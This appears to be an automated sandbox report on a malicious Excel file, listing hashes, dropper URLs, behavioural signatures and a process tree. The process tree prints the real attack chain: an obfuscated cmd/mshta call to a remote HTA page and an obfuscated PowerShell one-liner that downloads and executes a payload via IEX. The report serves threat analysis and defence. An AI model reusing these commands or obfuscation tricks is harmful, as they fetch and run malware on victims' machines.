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Analysis

  • max time kernel
    12s
  • max time network
    14s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    18/01/2022, 21:33

General

  • Target

    0c890caa5574298838e2463f2a9eec1f.xls

  • Size

    142KB

  • MD5

    0c890caa5574298838e2463f2a9eec1f

  • SHA1

    84616f046e7b29279d4a5af740b8524cd1b02a6e

  • SHA256

    95141c557c2da97c647844e7c27133e0f8ba49907e167088ad774ed57e950294

  • SHA512

    d7ca540e210ad4d7efdb9061a2915e2a790cff59ebf69f21f79540c0ab62c4b1bc16b51cc6a5f408a0f49544a6b15c2461a1f3a59385d7574c1f858b6ce44d03

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/ve/ve.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/ve/ve.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\0c890caa5574298838e2463f2a9eec1f.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1716
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/185.7.214.7/ve/ve.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3536
      • C:\Windows\system32\mshta.exe
        mshta http://185.7.214.7/ve/ve.html
        3⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:816
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/ve/ve.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
            PID:988
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 816 -s 1736
            4⤵
            • Program crash
            PID:3596
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -pss -s 408 -p 816 -ip 816
      1⤵
        PID:2232

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • memory/1716-131-0x00007FF9EFD30000-0x00007FF9EFD40000-memory.dmp

        Filesize

        64KB

      • memory/1716-132-0x00007FF9EFD30000-0x00007FF9EFD40000-memory.dmp

        Filesize

        64KB

      • memory/1716-133-0x00007FF9EFD30000-0x00007FF9EFD40000-memory.dmp

        Filesize

        64KB

      • memory/1716-134-0x00007FF9EFD30000-0x00007FF9EFD40000-memory.dmp

        Filesize

        64KB

      • memory/1716-135-0x00007FF9EFD30000-0x00007FF9EFD40000-memory.dmp

        Filesize

        64KB

      • memory/1716-138-0x00007FF9ED3D0000-0x00007FF9ED3E0000-memory.dmp

        Filesize

        64KB

      • memory/1716-139-0x00007FF9ED3D0000-0x00007FF9ED3E0000-memory.dmp

        Filesize

        64KB